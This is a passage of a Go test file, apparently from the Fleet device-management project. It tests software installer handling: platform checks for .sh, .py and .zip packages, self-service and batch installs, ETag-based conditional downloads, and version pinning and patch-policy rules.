ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "codex-x86_64-pc-windows-msvc.exe.zip", Extension: "zip", Platform: "windows", TeamID: new(uint(1)), TitleID: new(uint(100)), SelfService: true, }, nil } mockSoftwarePackagesFromMetadata(ds) ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "install-uuid", nil } host := &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: "windows", TeamID: new(uint(1)), } err := svc.SelfServiceInstallSoftwareTitle(context.Background(), host, 100) require.NoError(t, err, ".zip windows installer on windows host should self-service install") require.True(t, ds.InsertSoftwareInstallRequestFuncInvoked, "install request should be created") } // TestInstallShScriptOnWindowsFails tests that .sh scripts can't be installed on Windows hosts. func TestInstallShScriptOnWindowsFails(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) // Mock Windows host ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: ptr.String("orbit_key"), Platform: "windows", TeamID: ptr.Uint(1), }, nil } // Not an in-house app ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } // Mock .sh installer metadata ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "script.sh", Extension: "sh", Platform: "linux", TeamID: ptr.Uint(1), TitleID: ptr.Uint(100), SelfService: false, }, nil } mockSoftwarePackagesFromMetadata(ds) // Label scoping check passes ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } // No pending install ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } // Create admin user context ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: ptr.String(fleet.RoleAdmin)}, }) // Install .sh on windows should fail with BadRequestError err := svc.InstallSoftwareTitle(ctx, 1, 100) require.Error(t, err, ".sh install on windows should fail") var bre *fleet.BadRequestError require.ErrorAs(t, err, &bre, "error should be BadRequestError") require.NotNil(t, bre) require.Contains(t, bre.Message, "can be installed only on macOS and Linux hosts") } // .py packages are stored with platform='linux', but the unix-like exception // must still let them install on darwin hosts. func TestInstallPyScriptOnUnixLike(t *testing.T) { t.Parallel() for _, platform := range []string{"linux", "darwin"} { t.Run(platform, func(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: platform, TeamID: new(uint(1)), }, nil } ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "script.py", Extension: "py", Platform: "linux", TeamID: new(uint(1)), TitleID: new(uint(100)), SelfService: false, }, nil } mockSoftwarePackagesFromMetadata(ds) ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "install-uuid", nil } ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) err := svc.InstallSoftwareTitle(ctx, 1, 100) require.NoError(t, err, ".py install on %s should succeed", platform) require.True(t, ds.InsertSoftwareInstallRequestFuncInvoked, "install request should be created") }) } } func TestInstallPyScriptOnWindowsFails(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: "windows", TeamID: new(uint(1)), }, nil } ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "script.py", Extension: "py", Platform: "linux", TeamID: new(uint(1)), TitleID: new(uint(100)), SelfService: false, }, nil } mockSoftwarePackagesFromMetadata(ds) ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) err := svc.InstallSoftwareTitle(ctx, 1, 100) require.Error(t, err, ".py install on windows should fail") var bre *fleet.BadRequestError require.ErrorAs(t, err, &bre, "error should be BadRequestError") require.NotNil(t, bre) require.Contains(t, bre.Message, "can be installed only on macOS and Linux hosts") } // .py packages are stored with platform='linux'; the self-service install path // must still allow them on darwin hosts via the unix-like exception. func TestSelfServiceInstallPyScriptOnUnixLike(t *testing.T) { t.Parallel() for _, platform := range []string{"linux", "darwin"} { t.Run(platform, func(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ InstallerID: 10, Name: "script.py", Extension: "py", Platform: "linux", TeamID: new(uint(1)), TitleID: new(uint(100)), SelfService: true, }, nil } mockSoftwarePackagesFromMetadata(ds) ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "install-uuid", nil } host := &fleet.Host{ ID: 1, OrbitNodeKey: new("orbit_key"), Platform: platform, TeamID: new(uint(1)), } err := svc.SelfServiceInstallSoftwareTitle(context.Background(), host, 100) require.NoError(t, err, ".py self-service install on %s should succeed", platform) require.True(t, ds.InsertSoftwareInstallRequestFuncInvoked, "install request should be created") }) } } func TestSelfServiceInstallSoftwareTitleAllowsPersonallyEnrolledDevices(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) // Personally-enrolled iOS/iPadOS hosts must reach the install lookup; the // BYOD gate that previously short-circuited them is removed in #44007. // Returning NotFound from both software-installer and VPP-app lookups makes // the code surface the standard "title not available" error — proving we // got past the old gate without entangling this test in the install flow. ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(_ context.Context, _ *uint, _ uint, _ bool) (*fleet.SoftwareInstaller, error) { return nil, ¬FoundError{} } // The title has no packages, so the precedence resolver returns none and the flow falls through // to the VPP/in-house lookups (both not found) — the same "not available" path as before. ds.GetSoftwarePackagesByTeamAndTitleIDFunc = func(_ context.Context, _ *uint, _ uint) ([]*fleet.SoftwareInstaller, error) { return nil, nil } ds.GetVPPAppByTeamAndTitleIDFunc = func(_ context.Context, _ *uint, _ uint) (*fleet.VPPApp, error) { return nil, ¬FoundError{} } ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(_ context.Context, _ *uint, _ uint) (*fleet.SoftwareInstaller, error) { return nil, ¬FoundError{} } for _, platform := range []string{"ios", "ipados"} { fakeHost := &fleet.Host{ Platform: platform, MDM: fleet.MDMHostData{ EnrollmentStatus: ptr.String(string(fleet.MDMEnrollStatusPersonal)), }, } err := svc.SelfServiceInstallSoftwareTitle(t.Context(), fakeHost, 1) require.Error(t, err, "platform %s", platform) require.NotContains(t, err.Error(), fleet.InstallSoftwarePersonalAppleDeviceErrMsg, "BYOD gate must no longer block self-service for platform %s", platform) require.ErrorContains(t, err, "Software title is not available for install", "control flow must reach the standard not-found path for platform %s", platform) } } func TestConditionalGETBehavior(t *testing.T) { t.Parallel() content := []byte("#!/bin/bash\necho 'test'\n") etag := fmt.Sprintf(`"%x"`, sha256.Sum256(content)) tests := []struct { name string ifNoneMatch string handler http.HandlerFunc expectStatus int expectBodyNil bool expectErr bool }{ { name: "no If-None-Match, normal 200 response", ifNoneMatch: "", handler: func(w http.ResponseWriter, r *http.Request) { assert.Empty(t, r.Header.Get("If-None-Match")) w.Header().Set("ETag", etag) w.Header().Set("Content-Disposition", `attachment; filename="app.sh"`) _, _ = w.Write(content) }, expectStatus: 200, expectBodyNil: false, }, { name: "If-None-Match sent, server returns 304", ifNoneMatch: etag, handler: func(w http.ResponseWriter, r *http.Request) { assert.Equal(t, etag, r.Header.Get("If-None-Match")) w.WriteHeader(http.StatusNotModified) }, expectStatus: 304, expectBodyNil: true, }, { name: "If-None-Match sent, server returns 200 (ETag changed)", ifNoneMatch: `"old-etag"`, handler: func(w http.ResponseWriter, r *http.Request) { assert.Equal(t, `"old-etag"`, r.Header.Get("If-None-Match")) w.Header().Set("ETag", etag) w.Header().Set("Content-Disposition", `attachment; filename="app.sh"`) _, _ = w.Write(content) }, expectStatus: 200, expectBodyNil: false, }, { name: "If-None-Match sent, server returns 403", ifNoneMatch: etag, handler: func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusForbidden) }, expectStatus: 0, expectErr: true, }, { name: "If-None-Match sent, server returns 500", ifNoneMatch: etag, handler: func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusInternalServerError) }, expectStatus: 0, expectErr: true, }, { name: "If-None-Match with S3 multipart ETag", ifNoneMatch: `"8fabd6dcf50afffcafbd5c1dbc5f49a4-20"`, handler: func(w http.ResponseWriter, r *http.Request) { assert.Equal(t, `"8fabd6dcf50afffcafbd5c1dbc5f49a4-20"`, r.Header.Get("If-None-Match")) w.WriteHeader(http.StatusNotModified) }, expectStatus: 304, expectBodyNil: true, }, { name: "server returns no ETag, normal download", ifNoneMatch: "", handler: func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Disposition", `attachment; filename="app.sh"`) _, _ = w.Write(content) }, expectStatus: 200, expectBodyNil: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() srv := httptest.NewServer(tt.handler) t.Cleanup(srv.Close) const maxSize = 512 * 1024 * 1024 // 512 MiB, generous for test payloads resp, tfr, err := downloadInstallerURL(t.Context(), srv.URL+"/test.sh", tt.ifNoneMatch, maxSize) if tt.expectErr { require.Error(t, err) return } require.NoError(t, err) assert.Equal(t, tt.expectStatus, resp.StatusCode) if tt.expectBodyNil { assert.Nil(t, tfr) } else { require.NotNil(t, tfr) t.Cleanup(func() { tfr.Close() }) } }) } } func TestValidETag(t *testing.T) { t.Parallel() tests := []struct { name string input string valid bool }{ {"strong ETag", `"abc123"`, true}, {"weak ETag rejected", `W/"abc123"`, false}, {"empty quotes", `""`, true}, {"S3 multipart", `"8fabd6dcf50afffcafbd5c1dbc5f49a4-20"`, true}, {"unquoted", `abc123`, false}, {"single quote", `"`, false}, {"empty string", ``, false}, {"missing closing quote", `"abc`, false}, {"control char (newline)", "\"abc\n\"", false}, {"control char (carriage return)", "\"abc\r\"", false}, {"control char (null)", "\"abc\x00\"", false}, {"DEL character", "\"abc\x7f\"", false}, {"tab rejected per RFC 7232", "\"abc\t123\"", false}, {"inner double-quote rejected", `"abc"def"`, false}, {"inner space rejected per RFC 7232", `"abc def"`, false}, {"weak prefix unquoted inner", `W/abc123`, false}, {"oversized (>512)", `"` + strings.Repeat("a", 512) + `"`, false}, {"exactly 511 bytes", `"` + strings.Repeat("a", 509) + `"`, true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() assert.Equal(t, tt.valid, validETag(tt.input)) }) } } func TestGetInstallScript(t *testing.T) { t.Parallel() defaultPkgScript := file.GetInstallScript("pkg") defaultDebScript := file.GetInstallScript("deb") fleetdScript := file.InstallPkgFleetdScript customScript := "#!/bin/sh\necho custom" tests := []struct { name string extension string packageIDs []string current string expected string }{ { name: "fleetd pkg returns fleetd script", extension: "pkg", packageIDs: []string{"com.fleetdm.orbit.base.pkg"}, current: "", expected: fleetdScript, }, { name: "fleetd pkg overrides default script", extension: "pkg", packageIDs: []string{"com.fleetdm.orbit.base.pkg"}, current: defaultPkgScript, expected: fleetdScript, }, { name: "fleetd pkg overrides custom script", extension: "pkg", packageIDs: []string{"com.fleetdm.orbit.base.pkg"}, current: customScript, expected: fleetdScript, }, { name: "non-fleetd pkg returns default script", extension: "pkg", packageIDs: []string{"com.example.app"}, current: "", expected: defaultPkgScript, }, { name: "non-fleetd pkg preserves custom script", extension: "pkg", packageIDs: []string{"com.example.app"}, current: customScript, expected: customScript, }, { name: "deb returns default script", extension: "deb", packageIDs: []string{"some-package"}, current: "", expected: defaultDebScript, }, { name: "deb preserves custom script", extension: "deb", packageIDs: []string{"some-package"}, current: customScript, expected: customScript, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { result := getInstallScript(tt.extension, tt.packageIDs, tt.current) require.Equal(t, tt.expected, result) }) } } func TestBatchSetSoftwareInstallersDryRunEmptyShortCircuit(t *testing.T) { t.Parallel() // keyValueStore mock that fails the test if any redis call happens // The short-circuit must return before touching redis or spawning the goroutine. kvs := &redismock.KeyValueStore{ SetFunc: func(ctx context.Context, key string, value string, expireTime time.Duration) error { t.Errorf("unexpected keyValueStore.Set call: key=%s", key) return nil }, GetFunc: func(ctx context.Context, key string) (*string, error) { t.Errorf("unexpected keyValueStore.Get call: key=%s", key) return nil, nil }, } ds := new(mock.Store) ds.TeamByNameFunc = func(ctx context.Context, name string) (*fleet.Team, error) { return &fleet.Team{ID: 1, Name: name}, nil } // The team has no installers, so the empty-payload dry run has nothing to // report as pending deletion and must short-circuit. ds.GetSoftwareInstallersPendingDeletionFunc = func(ctx context.Context, tmID *uint, incoming []fleet.SoftwareTitleIdentifier) ([]fleet.DeletedSoftwarePackage, error) { return nil, nil } svc := newTestService(t, ds) svc.keyValueStore = kvs svc.logger = slog.New(slog.NewTextHandler(io.Discard, nil)) ctx := viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: ptr.String(fleet.RoleAdmin)}, }) // Cover both the team-scoped (tmName != "") and no-team (tmName == "") paths. // The customer's reported failure mode in #42607 was on the global / no-team // endpoint, which skips the TeamByName lookup entirely and flows straight // to the short-circuit. cases := []struct { name string tmName string payloads []*fleet.SoftwareInstallerPayload expectTeamLookup bool }{ {"team scoped, nil payloads", "TestEmpty", nil, true}, {"team scoped, empty payloads", "TestEmpty", []*fleet.SoftwareInstallerPayload{}, true}, {"no team, nil payloads", "", nil, false}, {"no team, empty payloads", "", []*fleet.SoftwareInstallerPayload{}, false}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { kvs.SetFuncInvoked = false kvs.GetFuncInvoked = false ds.TeamByNameFuncInvoked = false ds.GetSoftwareInstallersPendingDeletionFuncInvoked = false requestUUID, err := svc.BatchSetSoftwareInstallers(ctx, c.tmName, c.payloads, true) require.NoError(t, err) require.Empty(t, requestUUID, "dry-run + empty payload should return empty request_uuid") require.False(t, kvs.SetFuncInvoked, "keyValueStore.Set must not be called") require.False(t, kvs.GetFuncInvoked, "keyValueStore.Get must not be called") require.Equal(t, c.expectTeamLookup, ds.TeamByNameFuncInvoked, "TeamByName should only be called when tmName != \"\"") require.True(t, ds.GetSoftwareInstallersPendingDeletionFuncInvoked, "the short-circuit must check for installers pending deletion") }) } } func TestSelfServiceInstallAllSoftwareTitles(t *testing.T) { ctx := t.Context() host := &fleet.Host{ID: 1, Platform: "darwin"} // Each field injects a failure at one point of the flow; a nil field means that // step succeeds. The zero value drives two successful package installs. type failures struct { getTitles error // GetSoftwareTitlesForInstallAll installTitle error // the per-title install (SelfServiceInstallSoftwareTitle) newActivity error // the roll-up activity } setup := func(fail failures) (*Service, *strings.Builder) { ds := new(mock.Store) ds.GetSoftwareTitlesForInstallAllFunc = func(ctx context.Context, host *fleet.Host, categoryID *uint, matchQuery string) ([]*fleet.HostSoftwareWithInstaller, *string, error) { if fail.getTitles != nil { return nil, nil, fail.getTitles } return []*fleet.HostSoftwareWithInstaller{{ID: 10}, {ID: 11}}, nil, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool) (*fleet.SoftwareInstaller, error) { if fail.installTitle != nil { return nil, fail.installTitle } return &fleet.SoftwareInstaller{InstallerID: 1, SelfService: true, Name: "foo.pkg"}, nil } // The per-title self-service install now resolves the package via the precedence resolver, // so the per-title failure injection lives on this read. ds.GetSoftwarePackagesByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) ([]*fleet.SoftwareInstaller, error) { if fail.installTitle != nil { return nil, fail.installTitle } return []*fleet.SoftwareInstaller{{InstallerID: 1, SelfService: true, Name: "foo.pkg"}}, nil } ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID uint, hostID uint) (bool, error) { return true, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error) { return "exec-uuid", nil } svc, baseSvc := newTestServiceWithMock(t, ds) baseSvc.NewActivityFunc = func(ctx context.Context, user *fleet.User, activity fleet.ActivityDetails) error { return fail.newActivity } var logs strings.Builder svc.logger = slog.New(slog.NewTextHandler(&logs, nil)) return svc, &logs } t.Run("returns the error when listing titles fails", func(t *testing.T) { svc, _ := setup(failures{getTitles: errors.New("boom")}) err := svc.SelfServiceInstallAllSoftwareTitles(ctx, host, nil, "") require.ErrorContains(t, err, "get software titles for install all") }) t.Run("logs per-title failures and continues instead of aborting the batch", func(t *testing.T) { svc, logs := setup(failures{installTitle: errors.New("lookup failed")}) err := svc.SelfServiceInstallAllSoftwareTitles(ctx, host, nil, "") require.NoError(t, err) // a per-title failure is logged, not returned // both titles were attempted (the loop continued past the first failure) and logged require.Contains(t, logs.String(), "title_id=10") require.Contains(t, logs.String(), "title_id=11") }) t.Run("returns the error when the roll-up activity fails", func(t *testing.T) { svc, _ := setup(failures{newActivity: errors.New("activity failed")}) err := svc.SelfServiceInstallAllSoftwareTitles(ctx, host, nil, "") require.ErrorContains(t, err, "creating installed all self-service software activity") }) t.Run("passes the match query through to the datastore", func(t *testing.T) { var seenMatch string ds := new(mock.Store) ds.GetSoftwareTitlesForInstallAllFunc = func(ctx context.Context, host *fleet.Host, categoryID *uint, matchQuery string) ([]*fleet.HostSoftwareWithInstaller, *string, error) { seenMatch = matchQuery return nil, nil, nil } svc, _ := newTestServiceWithMock(t, ds) require.NoError(t, svc.SelfServiceInstallAllSoftwareTitles(ctx, host, nil, "zoom")) require.Equal(t, "zoom", seenMatch) }) } // inMemoryKeyValueStore is a thread-safe map-backed KeyValueStore mock for // tests that need to observe what the batch goroutine writes. func inMemoryKeyValueStore() (*redismock.KeyValueStore, func(key string) *string) { var mu sync.Mutex values := make(map[string]string) kvs := &redismock.KeyValueStore{ SetFunc: func(ctx context.Context, key string, value string, expireTime time.Duration) error { mu.Lock() defer mu.Unlock() values[key] = value return nil }, GetFunc: func(ctx context.Context, key string) (*string, error) { mu.Lock() defer mu.Unlock() if v, ok := values[key]; ok { return &v, nil } return nil, nil }, } get := func(key string) *string { mu.Lock() defer mu.Unlock() if v, ok := values[key]; ok { return &v } return nil } return kvs, get } func TestBatchSetSoftwareInstallersDryRunEmptyReportsDeletions(t *testing.T) { t.Parallel() kvs, getKey := inMemoryKeyValueStore() wouldDelete := []fleet.DeletedSoftwarePackage{ {TeamID: nil, TitleID: 1, DisplayName: "Cool App"}, {TeamID: nil, TitleID: 2, DisplayName: "Teammate Tool"}, } ds := new(mock.Store) ds.GetSoftwareInstallersPendingDeletionFunc = func(ctx context.Context, tmID *uint, incoming []fleet.SoftwareTitleIdentifier) ([]fleet.DeletedSoftwarePackage, error) { // assert (not require): this runs on the batch goroutine, where FailNow would misbehave. assert.Empty(t, incoming) return wouldDelete, nil } ds.AppConfigFunc = func(ctx context.Context) (*fleet.AppConfig, error) { return &fleet.AppConfig{}, nil } svc := newTestService(t, ds) svc.keyValueStore = kvs svc.logger = slog.New(slog.NewTextHandler(io.Discard, nil)) ctx := viewer.NewContext(t.Context(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) // Empty payload + dry run, but the (no-)team has installers: must NOT // short-circuit, and must report every installer as pending deletion. requestUUID, err := svc.BatchSetSoftwareInstallers(ctx, "", nil, true) require.NoError(t, err) require.NotEmpty(t, requestUUID, "dry run with installers pending deletion must go through the async path") // Wait for the background goroutine to complete the batch. require.Eventually(t, func() bool { status := getKey(batchSoftwarePrefix + requestUUID) return status != nil && *status == batchSetCompleted }, 10*time.Second, 50*time.Millisecond, "batch never completed") deletedJSON := getKey(batchSoftwarePrefix + requestUUID + batchSoftwareDeletedSuffix) require.NotNil(t, deletedJSON, "deleted-packages key must be written before completion") var gotDeleted []fleet.DeletedSoftwarePackage require.NoError(t, json.Unmarshal([]byte(*deletedJSON), &gotDeleted)) require.Equal(t, wouldDelete, gotDeleted) // The result endpoint returns the deleted packages on the dry-run completed branch. result, err := svc.GetBatchSetSoftwareInstallersResult(ctx, "", requestUUID, true) require.NoError(t, err) require.Equal(t, fleet.BatchSetSoftwareInstallersStatusCompleted, result.Status) require.Empty(t, result.Message) require.Empty(t, result.Packages) require.Equal(t, wouldDelete, result.DeletedPackages) } func TestBatchSetSoftwareInstallersSkipsURLValidationForScriptPackages(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) svc.logger = slog.New(slog.NewTextHandler(io.Discard, nil)) ctx := viewer.NewContext(t.Context(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) // Script only packages use a "script://filename" url to pass the filename, // so these should skip url validation scriptFilenames := []string{ "install chatgpt.ps1", "my script://app v2.ps1", "sub dir/install.ps1", `C:\Program Files\install.ps1`, "install chatgpt.sh", "my script://app v2.sh", "sub dir/install.sh", } for _, name := range scriptFilenames { // The trailing "not a url" payload is a tripwire: validation only reaches and // rejects it if the script:// payload before it was accepted. payloads := []*fleet.SoftwareInstallerPayload{ {URL: "script://" + name, InstallScript: "echo hi"}, {URL: "not a url"}, } _, err := svc.BatchSetSoftwareInstallers(ctx, "", payloads, true) require.ErrorContains(t, err, `URL ("not a url") is invalid`) require.NotContains(t, err.Error(), name) require.NotContains(t, err.Error(), "script://") } } func TestGetBatchSetSoftwareInstallersResultMissingDeletedKey(t *testing.T) { t.Parallel() // Status key exists (completed) but the deleted-packages key is missing or // expired: must degrade to an empty list, not an error. completed := batchSetCompleted kvs := &redismock.KeyValueStore{ GetFunc: func(ctx context.Context, key string) (*string, error) { if key == batchSoftwarePrefix+"test-uuid" { return &completed, nil } return nil, nil }, } ds := new(mock.Store) svc := newTestService(t, ds) svc.keyValueStore = kvs svc.logger = slog.New(slog.NewTextHandler(io.Discard, nil)) ctx := viewer.NewContext(t.Context(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) result, err := svc.GetBatchSetSoftwareInstallersResult(ctx, "", "test-uuid", true) require.NoError(t, err) require.Equal(t, fleet.BatchSetSoftwareInstallersStatusCompleted, result.Status) require.Empty(t, result.Message) require.Empty(t, result.Packages) require.Empty(t, result.DeletedPackages) require.Empty(t, result.DownloadProgress) } func TestVersionMatchesMajor(t *testing.T) { // Versions taken from ee/maintained-apps/outputs; most are not valid semver. The leading dot-segment is // compared as a string, so a leading-zero or bare major stays distinct from "2"/"10"/"12". cases := []struct { version string majorVersion string want bool }{ {"149.1.91.172", "149", true}, {"149.1.91.172", "150", false}, {"149.1.91.172", "14", false}, {"6.0.4.11438", "6", true}, {"25.0.208.0", "25", true}, {"221.0.0.0.0", "221", true}, {"0.2026.06.10.09.27.01", "0", true}, {"8.0.47.CE", "8", true}, {"2.2.18d", "2", true}, {"1.2.92.148.g882cc571", "1", true}, {"114.0.4-release.20250509.32955", "114", true}, {"2026.05.0+218", "2026", true}, {"02.07.01.62", "02", true}, {"02.07.01.62", "2", false}, {"20250302", "20250302", true}, {"183", "183", true}, {"149", "149", true}, {"1.21b", "1", true}, {"10.0.1", "1", false}, {"12.0", "1", false}, } for _, c := range cases { assert.Equalf(t, c.want, versionMatchesMajor(c.version, c.majorVersion), "version %q caret ^%s", c.version, c.majorVersion) } } func TestParsePinnedVersion(t *testing.T) { cases := []struct { name string version string wantMajor string wantCaret bool wantErr string }{ {name: "latest is empty", version: "", wantMajor: "", wantCaret: false}, {name: "literal 4-component is not a caret", version: "149.0.7827.115", wantMajor: "149.0.7827.115", wantCaret: false}, {name: "caret major", version: "^149", wantMajor: "149", wantCaret: true}, {name: "caret leading-zero major", version: "^02", wantMajor: "02", wantCaret: true}, {name: "empty caret", version: "^", wantErr: errEmptyCaretVersion.Error()}, {name: "caret with minor", version: "^149.0", wantErr: errNonMajorVersion.Error()}, {name: "caret 4-component", version: "^149.1.91.172", wantErr: errNonMajorVersion.Error()}, {name: "caret non-numeric", version: "^abc", wantErr: errNonMajorVersion.Error()}, } for _, c := range cases { major, caret, err := parsePinnedVersion(t.Context(), c.version) if c.wantErr != "" { require.ErrorContainsf(t, err, c.wantErr, "case %s", c.name) continue } require.NoErrorf(t, err, "case %s", c.name) assert.Equalf(t, c.wantMajor, major, "case %s", c.name) assert.Equalf(t, c.wantCaret, caret, "case %s", c.name) } } func TestNormalizeSetupExperiencePlatforms(t *testing.T) { t.Parallel() cases := []struct { name string input []string extension string want []string wantErr string }{ {name: "empty input", input: nil, extension: "sh", want: []string{}}, {name: "sh darwin", input: []string{"darwin"}, extension: "sh", want: []string{"darwin"}}, {name: "sh linux", input: []string{"linux"}, extension: "sh", want: []string{"linux"}}, {name: "sh both platforms", input: []string{"darwin", "linux"}, extension: "sh", want: []string{"darwin", "linux"}}, {name: "sh dedupe", input: []string{"darwin", "DARWIN", "darwin"}, extension: "sh", want: []string{"darwin"}}, {name: "sh case + whitespace", input: []string{" Darwin ", "LINUX"}, extension: "sh", want: []string{"darwin", "linux"}}, {name: "sh macos rejected", input: []string{"macos"}, extension: "sh", wantErr: `platform "macos" is not a valid "setup_experience_platform" value for a .sh package`}, {name: "pkg any rejected", input: []string{"darwin"}, extension: "pkg", wantErr: `platform "darwin" is not a valid "setup_experience_platform" value for a .pkg package`}, {name: "msi any rejected", input: []string{"darwin"}, extension: "msi", wantErr: `platform "darwin" is not a valid "setup_experience_platform" value for a .msi package`}, {name: "sh unsupported windows", input: []string{"windows"}, extension: "sh", wantErr: `platform "windows" is not a valid "setup_experience_platform" value for a .sh package`}, {name: "py darwin", input: []string{"darwin"}, extension: "py", want: []string{"darwin"}}, {name: "py linux", input: []string{"linux"}, extension: "py", want: []string{"linux"}}, {name: "py both platforms", input: []string{"darwin", "linux"}, extension: "py", want: []string{"darwin", "linux"}}, {name: "py unsupported windows", input: []string{"windows"}, extension: "py", wantErr: `platform "windows" is not a valid "setup_experience_platform" value for a .py package`}, {name: "empty string skipped", input: []string{""}, extension: "sh", want: []string{}}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { got, err := normalizeSetupExperiencePlatforms(c.input, c.extension) if c.wantErr != "" { require.Error(t, err) require.Contains(t, err.Error(), c.wantErr) return } require.NoError(t, err) // nil vs empty-slice noise: compare both as normalized empty. if len(c.want) == 0 { assert.Empty(t, got) return } assert.Equal(t, c.want, got) }) } } func TestPlanPatchPolicy(t *testing.T) { titleID := uint(42) teamID := uint(0) fmaInstaller := &fleet.SoftwareInstaller{TitleID: &titleID, FleetMaintainedAppID: new(uint(7)), PreInstallQuery: "SELECT old;"} nonFMAInstaller := &fleet.SoftwareInstaller{TitleID: &titleID} payload := func(patch *bool, patchWhenClosed *bool) *fleet.UpdateSoftwareInstallerPayload { return &fleet.UpdateSoftwareInstallerPayload{TitleID: titleID, TeamID: &teamID, Patch: patch, PatchWhenClosed: patchWhenClosed} } // patch_when_closed set without patch enabled is rejected, whether patch is omitted with no // existing policy or explicitly disabled. t.Run("rejects patch_when_closed without patch", func(t *testing.T) { _, _, err := planPatchPolicy(payload(nil, new(true)), fmaInstaller, nil) require.ErrorContains(t, err, `"patch" must be true`) _, _, err = planPatchPolicy(payload(new(false), 